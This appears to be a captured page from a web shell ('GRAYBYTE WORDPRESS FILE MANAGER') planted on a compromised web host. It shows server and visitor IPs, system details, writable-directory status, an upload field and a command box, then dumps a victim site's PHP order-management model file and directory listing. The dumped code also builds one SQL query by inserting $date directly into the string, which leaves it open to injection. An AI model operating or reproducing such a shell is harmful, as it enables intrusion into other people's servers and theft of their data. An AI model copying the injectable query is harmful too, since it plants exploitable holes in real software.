GRAYBYTE WORDPRESS FILE MANAGER7966

Server IP : 198.54.121.189 / Your IP : 216.73.216.140
System : Linux premium69.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
PHP Version : 7.4.33
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /home/giriqfky/public_html/Barga/application/modules/order/models/
Upload Files :
Current_dir [ Writeable ] Document_root [ Writeable ]

Command :


Current File : /home/giriqfky/public_html/Barga/application/modules/order/models//Product_model.php
<?php
defined('BASEPATH') OR exit('No direct script access allowed');
class Product_model extends CI_Model
{
	var $table_cities = TABLE_CITIES;
	var $table_product = TABLE_PRODUCT_LIST;
	var $table_product_order = TABLE_PRODUCT_ORDER;
	var $table_product_order_details = TABLE_PRODUCT_ORDER_DETAILS;
	
	public function __construct()
    {
        parent::__construct();
    }
    
    /*** Code for Todo start ***/
	public function getTodoData($todo_id)
	{
		$this->db->select('*');
		$this->db->where('id', $todo_id);
		$this->db->limit(1);
		return $this->db->get($this->table_product)->row();
	}

	public function getSingleProductData($product_id)
	{
		$this->db->select('*');
		$this->db->where('id',$product_id);
		return $this->db->get($this->table_product)->result();
	}

	public function getAllProductData($todo_id)
	{
		$this->db->select('*');
		$this->db->where('status','1');
		$this->db->where('qty > ','0');
		// $this->db->limit(1);
		return $this->db->get($this->table_product)->result();
	}
	
	public function OrderDetailsSave($data_array, $id = 0)
	{
		if($id == 0) {
			$this->db->insert($this->table_product_order, $data_array);
			$last_id = $this->db->insert_id();
			echo $last_id;
		} else {
			$this->db->where('id', $id);
			$this->db->update($this->table_product_order, $data_array);
			$last_id = $id;
		}
		return $last_id;
	}

	// fly_product_order_details table save | start
	public function OrderDetailsTableSave($data_array, $id = 0)
	{
		if($id == 0) {
			$this->db->insert($this->table_product_order_details, $data_array);
			$last_id = $this->db->insert_id();
			echo $last_id;
		} else {
			$this->db->where('id', $id);
			$this->db->update($this->table_product_order_details, $data_array);
			$last_id = $id;
		}
		return $last_id;
	}
	// fly_product_order_details table save | end

	
	public function getTodoList($params = array())
	{
		$this->db->select("product_order.id,product_order.table_no,product_order.order_id,(SUM(product_order.total)+SUM(product_order.tax)) AS Total_Amt_val,product_order.tax,SUM(product_order.total) AS Total_Amt,GROUP_CONCAT(product_order.quantity,'*',product_order.product_name,' ')  as product_name,
		order_deti.cust_name,order_deti.cust_number,order_deti.cust_address,order_deti.cust_gst,order_deti.doc,order_deti.room_number");
        $this->db->from($this->table_product_order . ' as product_order');
		$this->db->join($this->table_product_order_details.' order_deti','order_deti.order_id = product_order.order_id', 'left');
        if(!empty($params['search']['order_id'])){
            $this->db->like('order_id',$params['search']['order_id']);
        }
		if(!empty($params['search']['date'])){
            $this->db->like('order_deti.doc',$params['search']['date']);
        }
		$this->db->group_by('product_order.order_id'); 
		$this->db->order_by('product_order.doc','DESC');
	
        //set start and limit
        if(array_key_exists("start",$params) && array_key_exists("limit",$params)) {
            $this->db->limit($params['limit'],$params['start']);
        } elseif(!array_key_exists("start",$params) && array_key_exists("limit",$params)) {
            $this->db->limit($params['limit']);
        }
		
        return $this->db->get()->result();
    }

    public function deleteProduct($where = array())
	{	
		if(!empty($where)){	
			$this->db->where($where);
			$this->db->delete($this->table_cities);
		}
	}
	/*** Code for City end ***/

	
	public function getProductOrder($order_id)
	{
		$this->db->select("product_order.*");
		$this->db->from($this->table_product_order . ' as product_order');
        $this->db->where('product_order.order_id',$order_id);
		return $this->db->get()->result();
    }

	public function getOrderDetails($order_id)
	{
		$this->db->select("product_order_deti.*");
		$this->db->from($this->table_product_order_details . ' as product_order_deti');
        $this->db->where('product_order_deti.order_id',$order_id);
		return $this->db->get()->result();
    }


	public function productSave($data_array, $id = 0)
	{
		if($id == 0) {
			$this->db->insert($this->table_product, $data_array);
			$last_id = $this->db->insert_id();
			echo $last_id;
		} else {
			$this->db->where('id', $id);
			$this->db->update($this->table_product, $data_array);
			$last_id = $id;
		}
		return $last_id;
	}

	public function currentOrderId()
	{
		$this->db->select("id");
		$this->db->from($this->table_product_order_details);
		$this->db->order_by('id','DESC');
		$this->db->limit(1);
		$result = $this->db->get()->row();
		if(!empty($result)){
			return $result->id+1;
		}else{
			return 0;
		}
	}


	// 
	public function getAllProductDataList($params = array())
	{
		$this->db->select('*');
        $this->db->from($this->table_product);

        if(!empty($params['search']['name'])){
            $this->db->like('name',$params['search']['name']);
        }
		
		$this->db->order_by('dom','DESC');
		
        //set start and limit
        if(array_key_exists("start",$params) && array_key_exists("limit",$params)) {
            $this->db->limit($params['limit'],$params['start']);
        } elseif(!array_key_exists("start",$params) && array_key_exists("limit",$params)) {
            $this->db->limit($params['limit']);
        }
		
        return $this->db->get()->result();
    }


	public function getOrderFilter($date = '')
	{
		$onlyDate = date('Y-m-d', strtotime($date));
		$sql = "SELECT 
		order_deti.cust_name,order_deti.cust_number,order_deti.cust_address,
		order_deti.cust_gst,order_deti.doc,order_deti.room_number,order_deti.order_id,total_amount,
		payment_mode
		FROM fly_product_order_details as order_deti 
		WHERE DATE(order_deti.doc) = '$date' ORDER BY order_deti.id DESC";// AND DATE(order_deti.doc) <= '$onlyDate'
		$query = $this->db->query($sql);
		$result =  $query->result();
		return $result;
	}


}

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
July 27 2024 00:19:25
giriqfky / giriqfky
0755
Product_model.php
5.695 KB
July 27 2024 00:19:25
giriqfky / giriqfky
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF